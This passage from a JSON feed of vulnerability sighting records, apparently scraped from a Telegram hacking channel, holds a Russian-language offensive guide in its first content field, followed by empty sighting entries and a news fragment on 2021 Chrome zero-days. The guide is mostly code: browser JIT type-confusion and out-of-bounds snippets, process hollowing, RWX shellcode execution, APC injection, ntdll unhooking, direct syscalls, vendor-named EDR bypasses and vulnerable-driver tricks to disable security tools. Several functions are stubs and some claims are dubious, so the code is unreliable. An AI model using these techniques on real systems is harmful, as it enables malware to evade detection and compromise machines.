arr;\n}\nSpiderMonkey (Firefox) bypasses:\n// \u041c\u0435\u0442\u043e\u0434 1: IonMonkey type inference bypass\nfunction ionmonkey_type_confusion() {\n    let arr = new Array(100);\n    arr[0] = 3.14;\n    \n    // \u0417\u0430\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u043c IonMonkey \u0434\u0443\u043c\u0430\u0442\u044c \u0447\u0442\u043e \u044d\u0442\u043e double array\n    for (let i = 0; i < 100; i++) {\n        arr[i] = i * 1.1;\n    }\n    \n    // \u0420\u0435\u0437\u043a\u043e \u043c\u0435\u043d\u044f\u0435\u043c \u0442\u0438\u043f\n    arr[0] = {x: 0x1337}; // Type confusion\n    return arr[0].x; // \u0427\u0442\u0435\u043d\u0438\u0435 \u043a\u0430\u043a double, \u0438\u043d\u0442\u0435\u0440\u043f\u0440\u0435\u0442\u0430\u0446\u0438\u044f \u043a\u0430\u043a pointer\n}\n\n// \u041c\u0435\u0442\u043e\u0434 2: Baseline compiler corruption\nfunction baseline_corruption() {\n    function target(x) {\n        return x + 1;\n    }\n    \n    // \u0413\u0435\u043d\u0435\u0440\u0438\u0440\u0443\u0435\u043c \u043c\u043d\u043e\u0433\u043e \u0432\u0435\u0440\u0441\u0438\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0438\n    for (let i = 0; i < 10000; i++) {\n        target(i);\n    }\n    \n    // \u041a\u043e\u0440\u0440\u0443\u043f\u0446\u0438\u044f \u0447\u0435\u0440\u0435\u0437 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 JIT buffer\n    const evil = {valueOf: () => {\n        // \u041f\u0438\u0448\u0435\u043c \u0432 JIT buffer\n        corrupt_jit_buffer();\n        return 42;\n    }};\n    \n    target(evil);\n}\nJavaScriptCore (Safari) bypasses:\n// \u041c\u0435\u0442\u043e\u0434 1: DFG JIT integer overflow\nfunction dfg_integer_overflow() {\n    let arr = new Array(100);\n    \n    function vulnerable(idx) {\n        // DFG \u0434\u0443\u043c\u0430\u0435\u0442 \u0447\u0442\u043e idx \u0432\u0441\u0435\u0433\u0434\u0430 \u0432 bounds\n        if (idx < arr.length) {\n            return arr[idx];\n        }\n        return null;\n    }\n    \n    // \u041e\u043f\u0442\u0438\u043c\u0438\u0437\u0438\u0440\u0443\u0435\u043c\n    for (let i = 0; i < 100000; i++) {\n        vulnerable(i % 100);\n    }\n    \n    // \u041f\u0435\u0440\u0435\u0434\u0430\u0451\u043c \u043e\u0442\u0440\u0438\u0446\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u0438\u043b\u0438 \u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u0438\u043d\u0434\u0435\u043a\u0441\n    let idx = -1;\n    idx = idx + 0x100000000; // Integer overflow\n    return vulnerable(idx); // OOB access\n}\n\n// \u041c\u0435\u0442\u043e\u0434 2: FTL B3 compiler attack\nfunction ftl_b3_attack() {\n    let buffer = new ArrayBuffer(0x100);\n    let view = new DataView(buffer);\n    \n    function access(offset) {\n        // FTL B3 \u0443\u0434\u0430\u043b\u044f\u0435\u0442 bounds check\n        return view.getUint32(offset, true);\n    }\n    \n    // \u0413\u0435\u043d\u0435\u0440\u0438\u0440\u0443\u0435\u043c \u043e\u043f\u0442\u0438\u043c\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043a\u043e\u0434\n    for (let i = 0; i < 100000; i++) {\n        access(i % 0x100);\n    }\n    \n    // \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c OOB access\n    return access(0x200); // \u0427\u0442\u0435\u043d\u0438\u0435 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 buffer\n}\nReal-world \u043f\u0440\u0438\u043c\u0435\u0440\u044b:\n// CVE-2021-21220: V8 type confusion in TurboFan\n// \u042d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0448\u0430\u0433\u0438:\n1. \u0421\u043e\u0437\u0434\u0430\u0451\u043c JS \u0444\u0443\u043d\u043a\u0446\u0438\u044e \u0441 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u043c-\u043e\u0431\u044a\u0435\u043a\u0442\u043e\u043c\n2. TurboFan \u043e\u043f\u0442\u0438\u043c\u0438\u0437\u0438\u0440\u0443\u0435\u0442 \u0441 \u043d\u0435\u0432\u0435\u0440\u043d\u044b\u043c\u0438 type guards\n3. \u041f\u0435\u0440\u0435\u0434\u0430\u0451\u043c \u0434\u0440\u0443\u0433\u043e\u0439 \u0442\u0438\u043f \u043e\u0431\u044a\u0435\u043a\u0442\u0430\n4. \u041f\u043e\u043b\u0443\u0447\u0430\u0435\u043c type confusion \u2192 arbitrary R/W\n\n// CVE-2020-16040: Chrome JIT bug\n// \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 SimplifiedLowering phase\n- \u041d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u0430\u044f \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0430 NumberMin/NumberMax\n- \u041f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a integer overflow\n- \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 OOB array access\n\n// Safari exploit chain (Pegasus):\n1. WebKit memory corruption via JS\n2. JIT spraying \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f shellcode\n3. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 RWX JIT memory\n4. \u0423\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 persistence \u0447\u0435\u0440\u0435\u0437 launchd\n3. \u041a\u0410\u041a \u0410\u041d\u0422\u0418\u0427\u0418\u0422\u042b \u041e\u0411\u0425\u041e\u0414\u042f\u0422 EDR \u0411\u0415\u0417 \u0422\u0420\u0418\u0413\u0413\u0415\u0420\u0410\n\u041c\u0435\u0442\u043e\u0434 1: Direct System Call (Syscall)\n// \u041f\u0440\u044f\u043c\u044b\u0435 syscalls \u043c\u0438\u043d\u0443\u044f ntdll.dll\n#define SYSCALL_NT_ALLOCATE_VIRTUAL_MEMORY 0x18\n#define SYSCALL_NT_PROTECT_VIRTUAL_MEMORY 0x50\n#define SYSCALL_NT_CREATE_THREAD_EX 0xC5\n\n// Syscall stub \u0441 \u0434\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u0438\u043c \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435\u043c SSN\n__declspec(naked) NTSTATUS NtAllocateVirtualMemory(\n    HANDLE ProcessHandle,\n    PVOID* BaseAddress,\n    ULONG_PTR ZeroBits,\n    PSIZE_T RegionSize,\n    ULONG AllocationType,\n    ULONG Protect\n) {\n    __asm {\n        mov r10, rcx\n        mov eax, [current_ssn_table + SYSCALL_NT_ALLOCATE_VIRTUAL_MEMORY]\n        syscall\n        ret\n    }\n}\n\n// \u0414\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 SSN \u0438\u0437 ntdll\nDWORD get_ssn_from_ntdll(LPCSTR function_name) {\n    HMODULE ntdll = GetModuleHandleA(\"ntdll.dll\");\n    PVOID func_addr = GetProcAddress(ntdll, function_name);\n    \n    // \u041f\u0430\u0440\u0441\u0438\u043c SSN \u0438\u0437 opcodes\n    // mov eax, SSN \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u043f\u043e offset +4\n    BYTE* code = (BYTE*)func_addr;\n    if (code[0] == 0x4C && code[1] == 0x8B && code[2] == 0xD1) {\n        return *(DWORD*)(code + 4);\n    }\n    return 0;\n}\n\u041c\u0435\u0442\u043e\u0434 2: API Hooking Evasion\n// 1. Unhooking ntdll.dll\nvoid unhook_ntdll() {\n    HMODULE ntdll = GetModuleHandleA(\"ntdll.dll\");\n    \n    // \u0427\u0438\u0442\u0430\u0435\u043c \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u044b\u0439 ntdll \u0441 \u0434\u0438\u0441\u043a\u0430\n    HANDLE hFile = CreateFileA(\"C:\\\\Windows\\\\System32\\\\ntdll.dll\",\n        GENERIC_READ, FILE_SHARE_READ, NULL,\n        OPEN_EXISTING, 0, NULL);\n    \n    // \u041c\u0430\u043f\u043f\u0438\u043c \u0447\u0438\u0441\u0442\u0443\u044e \u043a\u043e\u043f\u0438\u044e \u043f\u043e\u0432\u0435\u0440\u0445 hooked\n    MapCleanNtdllOverHooked(ntdll, hFile);\n    CloseHandle(hFile);\n}\n\n// 2. Indirect syscall \u0447\u0435\u0440\u0435\u0437 jmp\nvoid indirect_syscall() {\n    // \u041d\u0430\u0445\u043e\u0434\u0438\u043c \u0447\u0438\u0441\u0442\u044b\u0439 syscall instruction \u0432 ntdll\n    PVOID clean_syscall = find_clean_syscall_instruction();\n    \n    __asm {\n        mov r10, rcx\n        mov eax, SSN\n        jmp clean_syscall  // \u041f\u0440\u044b\u0436\u043e\u043a \u043d\u0430 \u0447\u0438\u0441\u0442\u044b\u0439 syscall\n    }\n}\n\n// 3. Heaven's Gate (32-bit \u0432 64-bit)\nvoid heavens_gate() {\n    __asm {\n        // \u041f\u0435\u0440\u0435\u043a\u043b\u044e\u0447\u0430\u0435\u043c\u0441\u044f \u0432 64-bit mode \u0438\u0437 32-bit\n        push 0x33          // 64-bit segment selector\n        call $+5\n        add dword ptr [esp], 5\n        retf              // Far return \u0432 64-bit\n        \n        // \u0412\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u043c 64-bit syscall\n        mov r10, rcx\n        mov eax, SSN\n        syscall\n        \n        // \u0412\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u043c\u0441\u044f \u0432 32-bit\n        push 0x23          // 32-bit segment selector\n        call $+5\n        add dword ptr [esp], 5\n        retf\n    }\n}\n\u041c\u0435\u0442\u043e\u0434 3: Memory Manipulation\n// 1. NtCreateSection + NtMapViewOfSection \u0434\u043b\u044f RWX\nvoid create_rwx_section() {\n    HANDLE hSection;\n    SIZE_T size = 0x1000;\n    PVOID baseAddr = NULL;\n    \n    // \u0421\u043e\u0437\u0434\u0430\u0451\u043c \u0441\u0435\u043a\u0446\u0438\u044e \u0441 RWX \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u0430\u043c\u0438\n    NtCreateSection(&hSection, \n        SECTION_ALL_ACCESS, NULL, \n        &size, PAGE_EXECUTE_READWRITE, \n        SEC_COMMIT, NULL);\n    \n    // \u041c\u0430\u043f\u043f\u0438\u043c \u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\n    NtMapViewOfSection(hSection, \n        GetCurrentProcess(), &baseAddr, \n        0, 0, NULL, &size, \n        ViewUnmap, 0, \n        PAGE_EXECUTE_READWRITE);\n    \n    // \u041f\u0438\u0448\u0435\u043c shellcode\n    memcpy(baseAddr, shellcode, shellcode_size);\n    \n    // \u0412\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u043c\n    ((void(*)())baseAddr)();\n}\n\n// 2. Process Hollowing (\u043f\u0440\u043e\u0434\u0432\u0438\u043d\u0443\u0442\u044b\u0439)\nvoid process_hollowing_advanced(LPCSTR target) {\n    STARTUPINFOA si = {0};\n    PROCESS_INFORMATION pi = {0};\n    \n    // \u0421\u043e\u0437\u0434\u0430\u0451\u043c \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043f\u0440\u0438\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u043c\n    CreateProcessA(target, NULL, NULL, NULL, \n        FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);\n    \n    // \u041f\u043e\u043b\u0443\u0447\u0430\u0435\u043c PEB target \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430\n    PROCESS_BASIC_INFORMATION pbi;\n    NtQueryInformationProcess(pi.hProcess, \n        ProcessBasicInformation, &pbi, sizeof(pbi), NULL);\n    \n    // \u0427\u0438\u0442\u0430\u0435\u043c image base\n    PVOID imageBase;\n    ReadProcessMemory(pi.hProcess, \n        (PBYTE)pbi.PebBaseAddress + 0x10, \n        &imageBase, sizeof(imageBase), NULL);\n    \n    // Unmap \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u043e\u0431\u0440\u0430\u0437\n    NtUnmapViewOfSection(pi.hProcess, imageBase);\n    \n    // \u0410\u043b\u043b\u043e\u0446\u0438\u0440\u0443\u0435\u043c \u043d\u043e\u0432\u0443\u044e \u043f\u0430\u043c\u044f\u0442\u044c\n    PVOID newBase;\n    SIZE_T regionSize = 0x100000;\n    NtAllocateVirtualMemory(pi.hProcess, &newBase, 0, \n        &regionSize, MEM_COMMIT | MEM_RESERVE, \n        PAGE_EXECUTE_READWRITE);\n    \n    // \u041f\u0438\u0448\u0435\u043c \u043d\u043e\u0432\u044b\u0439 PE \u043e\u0431\u0440\u0430\u0437\n    WriteProcessMemory(pi.hProcess, newBase, \n        malicious_pe, pe_size, NULL);\n    \n    // \u041f\u0430\u0442\u0447\u0438\u043c PEB\n    WriteProcessMemory(pi.hProcess, \n        (PBYTE)pbi.PebBaseAddress + 0x10, \n        &newBase, sizeof(newBase), NULL);\n    \n    // \u0412\u043e\u0437\u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0435\u043c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\n    ResumeThread(pi.hThread);\n}\n\u041c\u0435\u0442\u043e\u0434 4: EDR-specific bypasses\n// 1. Carbon Black bypass \u0447\u0435\u0440\u0435\u0437 Named Pipes\nvoid carbonblack_bypass() {\n    // Carbon Black \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u0442 CreateProcess, \u043d\u043e \u043d\u0435 Named Pipes\n    CreateNamedPipeA(\"\\\\\\\\.\\\\pipe\\\\cb_bypass\", \n        PIPE_ACCESS_DUPLEX, \n        PIPE_TYPE_BYTE | PIPE_WAIT, \n        PIPE_UNLIMITED_INSTANCES, \n        4096, 4096, 0, NULL);\n    \n    // \u0417\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c \u0447\u0435\u0440\u0435\u0437 pipe\n    SECURITY_ATTRIBUTES sa = {sizeof(sa), NULL, TRUE};\n    HANDLE hRead, hWrite;\n    CreatePipe(&hRead, &hWrite, &sa, 0);\n    \n    STARTUPINFOA si = {sizeof(si)};\n    si.dwFlags = STARTF_USESTDHANDLES;\n    si.hStdOutput = hWrite;\n    si.hStdError = hWrite;\n    \n    CreateProcessA(\"cmd.exe\", \"/c whoami\", NULL, NULL, \n        TRUE, 0, NULL, NULL, &si, NULL);\n    \n    // \u0427\u0438\u0442\u0430\u0435\u043c \u0432\u044b\u0432\u043e\u0434 \u0447\u0435\u0440\u0435\u0437 pipe (\u043d\u0435 \u043b\u043e\u0433\u0438\u0440\u0443\u0435\u0442\u0441\u044f)\n    char buffer[4096];\n    DWORD read;\n    ReadFile(hRead, buffer, sizeof(buffer), &read, NULL);\n}\n\n// 2. CrowdStrike bypass \u0447\u0435\u0440\u0435\u0437 DLL side-loading\nvoid crowdstrike_bypass() {\n    // CrowdStrike \u043d\u0435 \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u0442 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u044b\u0435 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0435 DLL\n    // \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c side-loading \u0447\u0435\u0440\u0435\u0437:\n    // 1. \u0423\u044f\u0437\u0432\u0438\u043c\u044b\u0439 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0439 \u0441\u043e\u0444\u0442 (VPN \u043a\u043b\u0438\u0435\u043d\u0442\u044b \u0438 \u0442.\u0434.)\n    // 2. \u041c\u0430\u043d\u0438\u043f\u0443\u043b\u044f\u0446\u0438\u044e \u0441 search order DLL\n    SetDllDirectoryA(\"C:\\\\Evil\\\\Path\");\n    \n    // \u0418\u043b\u0438 \u0447\u0435\u0440\u0435\u0437 KnownDLLs bypass\n    DeleteFileA(\"C:\\\\Windows\\\\System32\\\\ntdll.dll\");\n    CopyFileA(\"evil_ntdll.dll\", \n        \"C:\\\\Windows\\\\System32\\\\ntdll.dll\", FALSE);\n}\n\n// 3. SentinelOne bypass \u0447\u0435\u0440\u0435\u0437 WMI event subscription\nvoid sentinelone_bypass() {\n    // SentinelOne \u043f\u0440\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442 WMI \u0441\u043e\u0431\u044b\u0442\u0438\u044f\n    IWbemServices* pSvc = NULL;\n    IWbemLocator* pLoc = NULL;\n    \n    CoInitializeEx(0, COINIT_MULTITHREADED);\n    CoCreateInstance(CLSID_WbemLocator, 0, \n        CLSCTX_INPROC_SERVER, IID_IWbemLocator, \n        (LPVOID*)&pLoc);\n    \n    // \u041f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0435\u043c\u0441\u044f \u043a WMI\n    pLoc->ConnectServer(L\"root\\\\subscription\", NULL, NULL, \n        0, NULL, 0, 0, &pSvc);\n    \n    // \u0421\u043e\u0437\u0434\u0430\u0451\u043c event filter \u0434\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 payload\n    // \u043f\u0440\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u043e\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u043c \u0441\u043e\u0431\u044b\u0442\u0438\u0438\n    create_wmi_event_filter(pSvc, L\"SELECT * FROM __InstanceCreationEvent\");\n}\n\u041c\u0435\u0442\u043e\u0434 5: Hardware-assisted bypass\n// 1. Intel PT (Processor Trace) evasion\nvoid intel_pt_evasion() {\n    // Intel PT \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 execution trace\n    // \u041e\u0431\u0445\u043e\u0434 \u0447\u0435\u0440\u0435\u0437:\n    \n    // \u0430) Timing attacks - \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u043c \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433\n    ULONG64 tsc1 = __rdtsc();\n    Sleep(1);\n    ULONG64 tsc2 = __rdtsc();\n    \n    if ((tsc2 - tsc1) > THRESHOLD) {\n        // \u041f\u043e\u0434 \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433\u043e\u043c - \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u0443\u0435\u043c evasion\n        activate_evasion_mode();\n    }\n    \n    // \u0431) Branch misprediction \u0434\u043b\u044f \u0441\u0431\u0438\u0432\u0430\u043d\u0438\u044f trace\n    for (int i = 0; i < 1000; i++) {\n        // \u041d\u0435\u043f\u0440\u0435\u0434\u0441\u043a\u0430\u0437\u0443\u0435\u043c\u044b\u0435 \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u044f\n        if (random() % 2) {\n            // Branch A\n            dummy_operation_a();\n        } else {\n            // Branch B  \n            dummy_operation_b();\n        }\n    }\n}\n\n// 2. Hypervisor detection and evasion\nvoid hypervisor_evasion() {\n    // \u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0433\u0438\u043f\u0435\u0440\u0432\u0438\u0437\u043e\u0440\u0430\n    int cpuid[4];\n    __cpuid(cpuid, 0x40000000);\n    \n    if (cpuid[0] != 0) {\n        // \u0413\u0438\u043f\u0435\u0440\u0432\u0438\u0437\u043e\u0440 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\n        // \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c VM-exit \u0434\u043b\u044f evasion\n        \n        // \u0430) Trigger VM-exit \u0447\u0435\u0440\u0435\u0437 \u0440\u0435\u0434\u043a\u0438\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438\n        __vmx_vmcall(0x1337);\n        \n        // \u0431) \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c timing differences\n        measure_vmexit_timing();\n        \n        // \u0432) \u041c\u0430\u043d\u0438\u043f\u0443\u043b\u044f\u0446\u0438\u044f \u0441 Extended Page Tables\n        manipulate_ept();\n    }\n}\n\u041c\u0435\u0442\u043e\u0434 6: Advanced Tradecraft\n// 1. Thread Stack Spoofing\nvoid thread_stack_spoofing() {\n    // \u0421\u043e\u0437\u0434\u0430\u0451\u043c \u0444\u0435\u0439\u043a\u043e\u0432\u044b\u0439 call stack\n    CONTEXT ctx = {0};\n    ctx.ContextFlags = CONTEXT_ALL;\n    \n    // \u0423\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u043c \u0444\u0435\u0439\u043a\u043e\u0432\u044b\u0439 RIP \u0438 RSP\n    ctx.Rip = (DWORD64)legitimate_function;\n    ctx.Rsp = (DWORD64)fake_stack;\n    \n    // \u0421\u043e\u0437\u0434\u0430\u0451\u043c thread \u0441 \u0444\u0435\u0439\u043a\u043e\u0432\u044b\u043c \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u043e\u043c\n    HANDLE hThread = CreateThread(NULL, 0, \n        payload_function, NULL, \n        CREATE_SUSPENDED, NULL);\n    \n    SetThreadContext(hThread, &ctx);\n    ResumeThread(hThread);\n}\n\n// 2. APC Injection + Callback Stomping\nvoid apc_injection_advanced() {\n    // Queue APC \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439 thread\n    HANDLE hThread = find_system_thread();\n    \n    // \u0412\u044b\u0434\u0435\u043b\u044f\u0435\u043c \u043f\u0430\u043c\u044f\u0442\u044c \u0434\u043b\u044f shellcode\n    PVOID shellcode_addr = VirtualAllocEx(GetCurrentProcess(),\n        NULL, shellcode_size, MEM_COMMIT | MEM_RESERVE,\n        PAGE_EXECUTE_READWRITE);\n    \n    // \u041f\u0438\u0448\u0435\u043c shellcode\n    WriteProcessMemory(GetCurrentProcess(), shellcode_addr,\n        shellcode, shellcode_size, NULL);\n    \n    // Queue APC\n    QueueUserAPC((PAPCFUNC)shellcode_addr, hThread, 0);\n    \n    // Callback stomping - \u043f\u043e\u0434\u043c\u0435\u043d\u044f\u0435\u043c \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0439 callback\n    stomp_authenticode_callback();\n}\n\n// 3. Kernel-mode evasion \u0447\u0435\u0440\u0435\u0437 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u044b\nNTSTATUS kernel_evasion() {\n    // \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0439 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0439 \u0434\u0440\u0430\u0439\u0432\u0435\u0440\n    HANDLE hDriver = CreateFileA(\"\\\\\\\\.\\\\VulnerableDriver\",\n        GENERIC_READ | GENERIC_WRITE, 0, NULL,\n        OPEN_EXISTING, 0, NULL);\n    \n    // IOCTL \u0434\u043b\u044f \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f EDR\n    DWORD bytesReturned;\n    DeviceIoControl(hDriver, VULNERABLE_IOCTL,\n        disable_edr_buffer, buffer_size,\n        NULL, 0, &bytesReturned, NULL);\n    \n    // \u0418\u043b\u0438 \u043f\u0440\u044f\u043c\u0430\u044f \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u044f\u0446\u0438\u044f \u0441 EPROCESS\n    manipulate_eprocess_flags();\n    \n    return STATUS_SUCCESS;\n}\nP.S. \u041f\u043e\u0436\u0430\u043b\u0443\u0439\u0441\u0442\u0430, \u043d\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0439\u0442\u0435 \u044d\u0442\u0438 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f! \u042d\u0442\u043e \u0432\u0441\u0451 \u0432 \u043e\u0437\u043d\u0430\u043a\u043e\u043c\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0446\u0435\u043b\u044f\u0445, \u0437\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0431\u0435\u0437 \u0437\u0430\u0449\u0438\u0442\u044b/\u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0432\u044b \u043c\u043e\u0436\u0435\u0442\u0435 \u043f\u043e\u043d\u0435\u0441\u0442\u0438 \u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0441\u0442\u044c!\n\n\ud835\udd75\ud835\udd86\ud835\udd8e\ud835\udd91\ud835\udd87\ud835\udd97\ud835\udd8a\ud835\udd86\ud835\udd90\ud835\udd8a\ud835\udd97 \ud835\udd94\ud835\udd8b \ud835\udd99\ud835\udd8d\ud835\udd8a \ud835\udd92\ud835\udd8e\ud835\udd93\ud835\udd89 \u1d20\u1d07\u0280\ua731\u026a\u1d0f\u0274 DEBUG1.5.10. \ud835\udc9e\ud835\udc5c\ud835\udcc1\ud835\udcc1\ud835\udcb6\ud835\udcb7\ud835\udc5c\ud835\udcc7\ud835\udcb6\ud835\udcc9\ud835\udcbe\ud835\udc5c\ud835\udcc3 \ud835\udcc5\ud835\udcc7\ud835\udc5c\ud835\udcbf\ud835\udc52\ud835\udcb8\ud835\udcc9 \ud835\udc5c\ud835\udcbb \ud835\udcae\ud835\udcca\ud835\udcc5\ud835\udc52\ud835\udcc7\ud835\udcbe\ud835\udcc8\ud835\udcca\ud835\udc52\ud835\udcc7 \ud835\udcb6\ud835\udcc3\ud835\udcb9 \ud835\udc45\ud835\udcb6\ud835\udc54\ud835\udcc3\ud835\udcb6\ud835\udcc7\ud835\udc52\ud835\udcc0\ud835\udcb0\ud835\udc9c", "creation_timestamp": "2026-06-04T13:29:26.000000Z"}, {"uuid": "a94f5608-fcf0-471b-850e-5ed41a1e5c45", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21224", "type": "seen", "source": "MISP/df23874b-e926-4e6f-b80e-c8a58279bcb0", "content": "", "creation_timestamp": "2026-06-04T13:33:30.000000Z"}, {"uuid": "d2ca19ab-b316-4d56-8280-6d4b16b577d7", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21224", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/c985f65e-54bd-4400-b243-93a11bc2dc00", "content": "", "creation_timestamp": "2026-06-19T12:47:47.216464Z"}, {"uuid": "db7d3c80-ba53-4052-98be-389d89e02763", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21220", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/46eddd99-8683-4470-a3a7-db6031117c75", "content": "", "creation_timestamp": "2026-06-19T12:47:47.363345Z"}, {"uuid": "19671578-a6b7-47c6-b48d-8c75b4dfd5ee", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21220", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/7456aa34-000a-4d6a-986c-5b94a44a4065", "content": "", "creation_timestamp": "2026-06-23T14:04:41.616731Z"}, {"uuid": "e8676841-ab83-447b-9055-226b93f10f23", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21224", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/70429028-bd2a-43f1-bdad-89e9c75a2811", "content": "", "creation_timestamp": "2026-06-23T14:04:41.783411Z"}, {"uuid": "3325a705-899d-42d1-b6bd-b60e7d198992", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21220", "type": "seen", "source": "https://t.me/hacking_Attack/23972", "content": "ock, pointed out that Google has patched plenty of zero-days already this year \u2013 eight prior to the latest two, to be exact \u2013 and he said to expect more.\nSee Also: Offensive Security Tool: Jenkins Attack Framework 10th Zero-Day in 2021 for Google\u201cToday, Google released a patch for its tenth [and ninth] zero-day exploit of the year,\u201d Dunne said in an email to media. \u201cThis milestone highlights the emphasis that bad actors are putting on browser exploits, with Chrome becoming a clear favorite, allowing a streamlined way to gain access to millions of devices regardless of OS.\n\n\u201cWe expect to see continued zero-day exploits in the wild,\u201d he added.\n\nThe other zero days discovered so far in 2021 are as follows, many of them in the V8 engine:\n\n* CVE-2021-21148\u00a0\u2013 (February)\n* CVE-2021-21166\u00a0\u2013 (March)\n* CVE-2021-21193\u00a0\u2013 (March)\n* CVE-2021-21220\u00a0\u2013 (April)\n* CVE-2021-21224\u00a0\u2013 (April, later used in Windows attacks)\n* CVE-2021-30551\u00a0\u2013 (June)\n* 